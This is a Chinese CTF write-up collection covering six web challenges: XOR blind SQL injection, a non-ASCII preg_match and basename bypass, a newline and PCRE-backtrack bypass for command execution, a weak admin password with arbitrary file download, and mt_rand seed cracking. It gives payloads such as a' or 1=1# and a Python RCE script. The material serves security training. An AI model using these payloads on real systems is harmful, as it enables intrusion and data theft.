目录
[WUSTCTF2020] 颜值成绩(异或注入)
[Zer0pts2020]Can you guess it?(中文字符绕过preg_match)
[FBCTF2019]RCEService(/bin/调用命令 || 回溯绕过preg_match)
[GKCTF 2021]easycms(后台弱口令&任意文件下载)
[GWCTF 2019]枯燥的抽奖(伪随机数漏洞seed)
[MRCTF2020]Ezaudit(伪随机数漏洞seed)
[WUSTCTF2020] 颜值成绩(异或注入)
经判断存在异或注入 ?stunum=1^1^1#
原理:1^1=0 0^1=1 而 1^0=1 1^1=0
回显 :Hi admin, your score is: 100
因此可以构造判断语句来爆破:1^(判断语句)^1
?stunum=1^(length(database())=3)^1# 回显正常
[Zer0pts2020]Can you guess it?(中文字符绕过preg_match)
点source得到源码
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
小知识点:
$_SERVER是一个全局数组在 $_SERVER 数组中存储的众多值中,存储了一个键为 'PHP_SELF' 的值,也就是 $_SERVER[“PHP_SELF”],该值存储的内容是:当前执行脚本的文件名,与 document root 有关。
比如执行一个 php 脚本的地址为:http://localhost/test/7ghost.php/ , 那么 $_SERVER[“PHP_SELF”] 对应的值即为:/test/7ghost.php/。
而且 $_SERVER[“PHP_SELF”] 该地址不包含 url 中的参数,比如你访问的 url 地址为:http://localhost/test/7ghost.php?par=123&par2=333 而 $_SERVER[“PHP_SELF”] 的值为 /test/7ghost.php 。
再比如,你访问的 url 地址为:http://localhost/test/7ghost.php/abc , 那么 $_SERVER[“PHP_SELF”] 的为:/test/7ghost.php/abc 。
当你想要获取当前页面的地址时,你可以使用下面的方法进行获取:
$url="http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
而关于 $_SERVER[‘PHP_SELF’] 使用的安全性,比如这种形式:
可能会被跨网站脚本攻击
$_SERVER['PHP_SELF']漏洞知多少_load_life的博客-CSDN博客
basename函数
函数用法:basename(path,suffix)
参数:
path 必需。规定要检查的路径。
suffix 可选。规定文件扩展名。如果文件有 suffix,则不会输出这个扩展名
作用:返回路径中的文件名部分
basename函数有一个小bug,它会去掉文件名开头的非ASCII值
即:PHP :: Bug #62119 :: basename broken with non-ASCII-chars
看一下第一段php代码
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
在本题中假如路径是/index.php/config.php,浏览器的解析结果是index.php,这样才能执行index.php中的代码去包含文件,而basename会返回config.php,使得highlight_file显示出config.php的内容而不是原本的index.php,因为$_SERVER['PHP_SELF']的关系,就算后面有参数如 ?source 也会返回文件名部分
但是本题做了一个正则匹配,阻止了下面的方式获得config.php
preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF']) 表示不能以config.php为结尾
那我们可以以别的结尾试试 /index.php/config.php/{什么都可以}?source=
这里利用中文字符绕过preg_match, 使用不存在于ascii码表中的字符,比如中文符号?、《》、中文等,例如index.php/config.php/??source(第一个为中文问号),此时正则就会失效,SERVER获取到的就是index.php/config.php(忽略传参),经过basenmae后就是config.php,这样既可以绕过正则匹配,也可以绕过basename的过滤
下面还有一个guess的得到flag方法,不过好像是迷惑选项,这个方法好像行不通:
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
这里遇见了一个陌生的 hash_equals($secret, $guess)函数 搜索之后又学到了一个题外的新的知识点
时序攻击
在 php 中比较字符串相等时如果使用双等 == 可能会有时序攻击的危险.
比如比较:
"abscdd" == $request->code
那么两个字符串是从第一位开始逐一进行比较的,发现不同就立即返回 false,那么通过计算返回的速度就知道了大概是哪一位开始不同的,这样就实现了电影中经常出现的按位破解密码的场景。密码破解复杂度成千上万倍甚至百万千万倍的下降。
而使用 hash_equals 比较两个字符串,无论字符串是否相等,函数的时间消耗是恒定的,这样可以有效的防止时序攻击
用hash_equals()或者strcmp()函数来比较,这两个是二进制安全的
[FBCTF2019]RCEService(/bin/调用命令 || 回溯绕过preg_match)
json格式执行命令,我们传入?cmd={"cmd":"ls"} 看见了index.php
试着cat一下 ls / 都执行不了,毫无头绪 看了看别人的wp,应该是比赛的时候给了源码
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
代码审计,我们看到正则表达式没有添加修饰符,因此可以利用%0a绕过正则匹配
?cmd={%0a"cmd":"ls /"%0a}
成功绕过并执行
我们查看一下代码里的 /home/rceservice/目录
{%0a"cmd":"ls /home/rceservice/"%0a} 发现了flag
jail目录下只有ls
putenv('PATH=/home/rceservice/jail'); 设置了环境变量,只能使用当前环境的命令
一:调用 /bin/cat
{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}
二、利用回溯限制绕过preg_match
import requests
url="http://0ef57325-ea59-4a92-94c5-7a0fb556c0e6.node4.buuoj.cn:81/"
r=requests.session()
data={
'cmd' : '{"cmd" : "/bin/cat /home/rceservice/flag" , "gagaga" : "'+'aaaa'*250000+'"}'
}
res=r.post(url=url,data=data)
print(res.text)
PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌
[GKCTF 2021]easycms(后台弱口令&任意文件下载)
hint:后台密码五位弱口令
/admin.php 为其后台
尝试 admin/admin admin/12345
最终密码为12345 弱口令进入后台 登陆后有两种得flag方式
一. 任意文件下载
主题一栏可以点开,我们在设计-主题-自定义-导出主题-保存
发现下载链接有一串base64
http://f291d390-6286-4fb3-9f3d-3f08592998ae.node4.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=
解码得到: /var/www/html/system/tmp/theme/default/1.zip 是文件的绝对路径,我们直接包含/flag就可以了,base64加密一下得到 L2ZsYWc=
最终payload:
http://f291d390-6286-4fb3-9f3d-3f08592998ae.node4.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=
更改下载下来的flag.zip后缀为.txt 打开得到flag
二、修改源代码
写入一句话:
但是要首先创建一个文件验证管理员权限
设计-组件-素材库-上传素材
素材文件上传路径是文件名直接拼接来的,故可利用目录穿越创建上述要求创建的文件。再向模板内插入shell后读flag即可
[GWCTF 2019]枯燥的抽奖(伪随机数漏洞seed)
访问 /check.php
006TTL4wyf
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
考点是 伪随机数,利用给出的部分字符串回推seed
我知道种子后,可以确定你输出伪随机数的序列。 知道你的随机数序列,亦可以确定种子
利用 php_mt_seed工具 爆破种子
破解方法是穷举所有的种子并根据种子生成随机数序列再跟已知的随机数序列做比对来验证种子是否正确。php_mt_seed就是这么一个工具,它的速度非常快。它可以根据单次mt_rand()的输出结果直接爆破出可能的种子,
例如:time ./php_mt_seed 1219893521
当然也可以爆破类似mt_rand(1,100)这样限定了MIN MAX输出的种子,
例如:time ./php_mt_seed 26 26 0 61 26 26 0 61 32 32 0 61 55 55 0 61 55 55 0 61 47 47 0 61 30 30 0 61 22 22 0 61 24 24 0 61 5 5 0 61
这个题里面,我们要爆破的应该是这一段mt_rand(0,strlen($str_long1) - 1),相当于mt_rand(0,61), 这个所谓的产生的随机的字符串,就是通过这个0-61的随机数选20次选出来的
先用下面的脚本跑一下序列
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='006TTL4wyf'
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)
得到:26 26 0 61 26 26 0 61 32 32 0 61 55 55 0 61 55 55 0 61 47 47 0 61 30 30 0 61 22 22 0 61 24 24 0 61 5 5 0 61
得到种子:201841218
再利用得到的seed,反推$str
<?php
mt_srand(201841218);
$str_long1="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for($i=0;$i<$len1;$i++){
$str.=substr($str_long1,mt_rand(0,strlen($str_long1)-1),1);
}
echo $str;
?>
得到的结果输入到框中,得到flag
[MRCTF2020]Ezaudit(伪随机数漏洞seed)
dirsearch扫目录发现了备份文件
下载下来源码如下:
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
伪随机数漏洞,爆破seed 已知public_key为 KVQP0LdJKRaV3n9D
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D' #随机序列其中之一
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)
结果为:36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
利用php_mt_seed工具爆破seed
time ./php_mt_seed 36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
得到seed:1775196155
执行下面代码得到private_key
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$public_key = public_key();
$private_key = private_key();
echo $public_key." ".$private_key;
?>
private_key:XuNhoueCDCGc
注:此代码需要php版本7.0以下,7.0以上会不一样
根据文件泄露源码可知:
登录的sql语句为:$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'
利用万能密码绕过,username:crispr password:a' or 1=1# 密钥:XuNhoueCDCGc
得到flag